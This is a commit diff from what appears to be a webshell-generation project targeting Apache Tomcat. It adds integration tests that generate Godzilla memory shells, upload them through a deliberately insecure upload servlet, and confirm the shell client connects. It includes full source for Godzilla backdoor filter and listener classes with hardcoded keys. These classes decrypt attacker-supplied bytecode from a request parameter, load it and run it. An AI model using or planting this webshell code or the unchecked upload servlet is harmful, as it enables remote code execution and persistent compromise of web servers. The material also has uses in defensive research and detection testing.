testGodzillaIsOk(url + "/" + filename, shellConfig);
}
});
}
private String generateGodzillaFilterJsp(GodzillaShellConfig config) {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.FILTER;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
JspPacker jspPacker = new JspPacker();
return new String(jspPacker.pack(generateResult));
}
private void verifyContainerResponse(String url) throws IOException {
Request request = new Request.Builder()
.url(url).build();
try (Response response = client.newCall(request).execute()) {
assertEquals(200, response.code());
}
}
@SneakyThrows
private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain"));
MultipartBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("file", filename, fileRequestBody)
.build();
Request request = new Request.Builder()
.url(uploadUrl).post(requestBody)
.build();
try (Response response = client.newCall(request).execute()) {
assertEquals(200, response.code());
}
}
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint)
.pass(shellConfig.getPass())
.key(shellConfig.getKey())
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
}
+38
View File
@@ -0,0 +1,38 @@
plugins {
id "java"
id "jacoco"
id "io.freefair.lombok" version "8.11"
}
repositories {
mavenCentral()
}
group = 'com.reajason.javaweb'
version = ''
dependencies {
testImplementation project(":vul-webapp")
testImplementation project(':generator')
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
testImplementation 'net.bytebuddy:byte-buddy:1.15.1'
testImplementation 'org.testcontainers:testcontainers:1.20.4'
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
testImplementation platform('org.junit:junit-bom:5.11.3')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
tasks.withType(Test).tap {
configureEach {
testLogging {
events "passed", "skipped", "failed"
}
}
}
test {
dependsOn ":vul-webapp:war", ":vul-webapp-jakarta:war"
useJUnitPlatform()
finalizedBy jacocoTestReport
}
@@ -0,0 +1,10 @@
services:
tomcat10111:
image: tomcat:10.1-jre11
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
@@ -0,0 +1,10 @@
services:
tomcat6063:
image: tomcat:6.0.53-jre7
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
@@ -0,0 +1,16 @@
package annotation;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
/**
* @author ReaJason
* @since 2024/11/28
*/
@Documented
@Retention(RetentionPolicy.RUNTIME)
public @interface ImageName {
String value();
}
@@ -0,0 +1,59 @@
package godzilla;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.godzilla.GodzillaManager;
import lombok.SneakyThrows;
import okhttp3.*;
import org.junit.jupiter.api.Assertions;
import java.io.IOException;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/28
*/
public interface BaseGodzillaTest {
OkHttpClient client = new OkHttpClient();
@SneakyThrows
default void verifyContainerResponse(String url) {
Request request = new Request.Builder()
.url(url).build();
try (Response response = client.newCall(request).execute()) {
Assertions.assertEquals(200, response.code());
}
}
@SneakyThrows
default void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
MediaType mediaType = MediaType.parse("text/plain");
RequestBody fileRequestBody = RequestBody.create(fileContent, mediaType);
MultipartBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("file", filename, fileRequestBody)
.build();
Request request = new Request.Builder()
.url(uploadUrl).post(requestBody)
.build();
try (Response response = client.newCall(request).execute()) {
Assertions.assertEquals(200, response.code());
}
}
default void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint)
.pass(shellConfig.getPass())
.key(shellConfig.getKey())
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
}
@@ -0,0 +1,32 @@
package tomcat;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.JspPacker;
import godzilla.BaseGodzillaTest;
/**
* @author ReaJason
* @since 2024/11/28
*/
public interface GodzillaTest extends BaseGodzillaTest {
default String generateGodzillaJsp(GodzillaShellConfig config, String shellType) {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
JspPacker jspPacker = new JspPacker();
return new String(jspPacker.pack(generateResult));
}
default String generateGodzillaJsp(GodzillaShellConfig config, String shellType, int targetJdkVersion) {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
JspPacker jspPacker = new JspPacker();
return new String(jspPacker.pack(generateResult));
}
}
@@ -0,0 +1,274 @@
package tomcat;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Nested;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Paths;
/**
* @author ReaJason
* @since 2024/11/28
*/
@Testcontainers
@Slf4j
public class TomcatGodzillaTest implements GodzillaTest {
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
public static final String tomcat6ImageName = "tomcat:6.0.53-jre7";
public static final String tomcat7ImageName = "tomcat:7.0.85-jre7";
public static final String tomcat8ImageName = "tomcat:8-jre8";
public static final String tomcat9ImageName = "tomcat:9-jre8";
public static final String tomcat10ImageName = "tomcat:10.1-jre11";
public static final String tomcat11ImageName = "tomcat:11.0-jre17";
@Nested
class Tomcat6Godzilla {
@Container
public final GenericContainer<?> tomcat6 = new GenericContainer<>(tomcat6ImageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public String getUrl() {
String host = tomcat6.getHost();
int port = tomcat6.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
void testGodzillaFilter() {
String shellType = TomcatShell.FILTER;
testGodzilla(getUrl(), tomcat6ImageName, shellType);
}
@Test
void testGodzillaValve() {
String shellType = TomcatShell.VALVE;
testGodzilla(getUrl(), tomcat6ImageName, shellType);
}
@Test
void testGodzillaListener() {
String shellType = TomcatShell.LISTENER;
testGodzilla(getUrl(), tomcat6ImageName, shellType);
}
}
@Nested
class Tomcat7Godzilla {
@Container
public final GenericContainer<?> tomcat7 = new GenericContainer<>(tomcat7ImageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public String getUrl() {
String host = tomcat7.getHost();
int port = tomcat7.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
void testGodzillaFilter() {
String shellType = TomcatShell.FILTER;
testGodzilla(getUrl(), tomcat7ImageName, shellType);
}
@Test
void testGodzillaValve() {
String shellType = TomcatShell.VALVE;
testGodzilla(getUrl(), tomcat7ImageName, shellType);
}
@Test
void testGodzillaListener() {
String shellType = TomcatShell.LISTENER;
testGodzilla(getUrl(), tomcat7ImageName, shellType);
}
}
@Nested
class Tomcat8Godzilla {
@Container
public final GenericContainer<?> tomcat8 = new GenericContainer<>(tomcat8ImageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public String getUrl() {
String host = tomcat8.getHost();
int port = tomcat8.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
void testGodzillaFilter() {
String shellType = TomcatShell.FILTER;
testGodzilla(getUrl(), tomcat8ImageName, shellType);
}
@Test
void testGodzillaValve() {
String shellType = TomcatShell.VALVE;
testGodzilla(getUrl(), tomcat8ImageName, shellType);
}
@Test
void testGodzillaListener() {
String shellType = TomcatShell.LISTENER;
testGodzilla(getUrl(), tomcat8ImageName, shellType);
}
}
@Nested
class Tomcat9Godzilla {
@Container
public final GenericContainer<?> tomcat9 = new GenericContainer<>(tomcat9ImageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public String getUrl() {
String host = tomcat9.getHost();
int port = tomcat9.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
void testGodzillaFilter() {
String shellType = TomcatShell.FILTER;
testGodzilla(getUrl(), tomcat9ImageName, shellType);
}
@Test
void testGodzillaValve() {
String shellType = TomcatShell.VALVE;
testGodzilla(getUrl(), tomcat9ImageName, shellType);
}
@Test
void testGodzillaListener() {
String shellType = TomcatShell.LISTENER;
testGodzilla(getUrl(), tomcat9ImageName, shellType);
}
}
@Nested
class Tomcat10Godzilla {
@Container
public final GenericContainer<?> tomcat10 = new GenericContainer<>(tomcat10ImageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public String getUrl() {
String host = tomcat10.getHost();
int port = tomcat10.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
void testGodzillaFilter() {
String shellType = TomcatShell.JAKARTA_FILTER;
testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11);
}
@Test
void testGodzillaValve() {
String shellType = TomcatShell.JAKARTA_VALVE;
testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11);
}
@Test
void testGodzillaListener() {
String shellType = TomcatShell.JAKARTA_LISTENER;
testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11);
}
}
@Nested
class Tomcat11Godzilla {
@Container
public final GenericContainer<?> tomcat11 = new GenericContainer<>(tomcat11ImageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
public String getUrl() {
String host = tomcat11.getHost();
int port = tomcat11.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
void testGodzillaFilter() {
String shellType = TomcatShell.JAKARTA_FILTER;
testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17);
}
@Test
void testGodzillaValve() {
String shellType = TomcatShell.JAKARTA_VALVE;
testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17);
}
@Test
void testGodzillaListener() {
String shellType = TomcatShell.JAKARTA_LISTENER;
testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17);
}
}
private void testGodzilla(String url, String imageName, String shellType) {
testSpecificJdkGodzilla(url, imageName, shellType, Constants.DEFAULT_VERSION);
}
private void testSpecificJdkGodzilla(String url, String imageName, String shellType, int targetJdkVersion) {
String pass = "pass" + shellType;
String key = "key" + shellType;
String headerValue = imageName + "Godzilla" + shellType;
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass(pass).key(key)
.headerName("User-Agent").headerValue(headerValue)
.build();
String jspContent = generateGodzillaJsp(shellConfig, shellType, targetJdkVersion);
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
String filename = shellType + ".jsp";
String uploadEntry = url + "/upload";
String jspEntry = url + "/" + filename;
uploadJspFileToServer(uploadEntry, filename, jspContent);
verifyContainerResponse(jspEntry);
testGodzillaIsOk(jspEntry, shellConfig);
}
}
+4 -1
View File
@@ -1,3 +1,6 @@
rootProject.name = 'MemShellParty'
include 'generator'
include 'vul-webapp'
include 'generator'
include 'vul-webapp-jakarta'
include 'integration-test'
+15
View File
@@ -0,0 +1,15 @@
plugins {
id 'war'
}
group = 'com.reajason.javaweb.vul'
version = ''
repositories {
mavenCentral()
}
dependencies {
implementation 'commons-fileupload:commons-fileupload:1.5'
providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0'
}
@@ -0,0 +1,147 @@
import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class ErrorHandler extends ClassLoader implements Filter {
public String key = "7b74f5d44e20fd71";
public String pass = "passFilter";
public String md5 = "6DA9A394180B0155C7CC6714A0B2179E";
public String headerName = "User-Agent";
public String headerValue = "test";
public static boolean isBypassModule;
public ErrorHandler() {
}
public ErrorHandler(ClassLoader var1) {
super(var1);
}
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var41) {
return null;
}
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(this.pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class)session.getAttribute("payload")).newInstance();
} catch (IllegalAccessException | InstantiationException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception var12) {
chain.doFilter(servletRequest, servletResponse);
}
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) {
byte[] value = null;
try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var61) {
try {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static Object byPassJdkModule() {
Boolean var0 = false;
try {
Class var1 = Class.forName("sun.misc.Unsafe");
Field var2 = var1.getDeclaredField("theUnsafe");
var2.setAccessible(true);
Object var3 = var2.get((Object)null);
Method var4 = Class.class.getMethod("getModule");
Object var5 = var4.invoke(Object.class, (Object[])null);
Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class);
Field var7 = Class.class.getDeclaredField("module");
Long var8 = (Long)var6.invoke(var3, var7);
Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class);
var9.invoke(var3, ErrorHandler.class, var8, var5);
var0 = true;
} catch (Exception var10) {
}
return var0;
}
static {
byPassJdkModule();
}
}
@@ -0,0 +1,46 @@
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.MultipartConfig;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.Part;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
/**
* @author ReaJason
* @since 2024/11/26
*/
@MultipartConfig(
fileSizeThreshold = 1024 * 1024,
maxFileSize = 1024 * 1024 * 5,
maxRequestSize = 1024 * 1024 * 5 * 5
)
public class UploadServlet extends HttpServlet {
private static final String UPLOAD_DIRECTORY = "/";
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Part file = request.getPart("file");
String fileName = getFileName(file);
String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName;
InputStream inputStream = file.getInputStream();
File uploadFile = new File(uploadPath);
IOUtils.copy(inputStream, Files.newOutputStream(uploadFile.toPath()));
response.getWriter().println("file upload success: " + uploadPath);
}
private String getFileName(Part part) {
for (String content : part.getHeader("content-disposition").split(";")) {
if (content.trim().startsWith("filename")) {
return content.substring(content.indexOf("=") + 2, content.length() - 1);
}
}
return "shell.jsp";
}
}
@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8"?>
<web-app
xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_5_0.xsd"
version="5.0"
metadata-complete="false"
>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/upload</url-pattern>
</servlet-mapping>
<filter>
<filter-name>godzilla</filter-name>
<filter-class>ErrorHandler</filter-class>
</filter>
<filter-mapping>
<filter-name>godzilla</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
@@ -0,0 +1 @@
<h1>hello</h1>
+7 -5
View File
@@ -5,14 +5,16 @@ plugins {
group = 'com.reajason.javaweb.vul'
version = ''
repositories {
mavenCentral()
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_6
targetCompatibility = JavaVersion.VERSION_1_6
}
dependencies {
implementation 'commons-fileupload:commons-fileupload:1.5'
implementation 'commons-fileupload:commons-fileupload:1.3.3'
providedCompile "javax.servlet:servlet-api:2.5"
providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0'
}
@@ -12,17 +12,17 @@ import java.io.IOException;
* @author ReaJason
* @since 2024/11/26
*/
public class ErrorHandler extends ClassLoader implements Filter {
public class ErrorFilter extends ClassLoader implements Filter {
public String key = "3c6e0b8a9c15224a";
public String pass = "pass";
public String md5 = "11CD6A87589841636C37AC826A2A04BC";
public String headerName = "User-Agent";
public String headerValue = "test";
public ErrorHandler() {
public ErrorFilter() {
}
public ErrorHandler(ClassLoader var1) {
public ErrorFilter(ClassLoader var1) {
super(var1);
}
@@ -56,7 +56,7 @@ public class ErrorHandler extends ClassLoader implements Filter {
byte[] data = base64Decode(request.getParameter(this.pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data));
session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
@@ -64,7 +64,7 @@ public class ErrorHandler extends ClassLoader implements Filter {
Object f;
try {
f = ((Class) session.getAttribute("payload")).newInstance();
} catch (IllegalAccessException | InstantiationException e) {
} catch (Exception e) {
throw new RuntimeException(e);
}
@@ -1,33 +1,27 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
/**
* @author ReaJason
*/
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
public String md5;
public String pass;
public String key;
public String headerName;
public String headerValue;
public class ErrorListener extends ClassLoader implements ServletRequestListener {
public String md5 = "4B9B4A9EEB3F82A06A5D643C57E87B54";
public String pass = "passListener";
public String key = "4fe60e3b9193d6bd";
public String headerName = "User-Agent";
public String headerValue = "test";
public GodzillaJakartaListener() {
public ErrorListener() {
}
public GodzillaJakartaListener(ClassLoader z) {
super(z);
public ErrorListener(ClassLoader var1) {
super(var1);
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
@@ -47,45 +41,43 @@ public class GodzillaJakartaListener extends ClassLoader implements ServletReque
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Class<?> base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var61) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var61) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@@ -93,52 +85,56 @@ public class GodzillaJakartaListener extends ClassLoader implements ServletReque
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
} catch (Exception var41) {
return null;
}
}
@Override
@SuppressWarnings("all")
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
HttpServletRequest request = (HttpServletRequest)servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
byte[] data = base64Decode(request.getParameter(this.pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute(
"payload",
(new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.getWriter().write(this.md5.substring(16));
response.flushBuffer();
}
}
} catch (Exception ignored) {
} catch (Exception var8) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
response = (HttpServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception var4) {
response = (HttpServletResponse)getFieldValue(request, "response");
}
return response;
}
}
@@ -24,6 +24,10 @@
<url-pattern>/upload</url-pattern>
</servlet-mapping>
<listener>
<listener-class>ErrorListener</listener-class>
</listener>
<!-- <filter>-->
<!-- <filter-name>godzilla</filter-name>-->
<!-- <filter-class>ErrorHandler</filter-class>-->
File diff suppressed because one or more lines are too long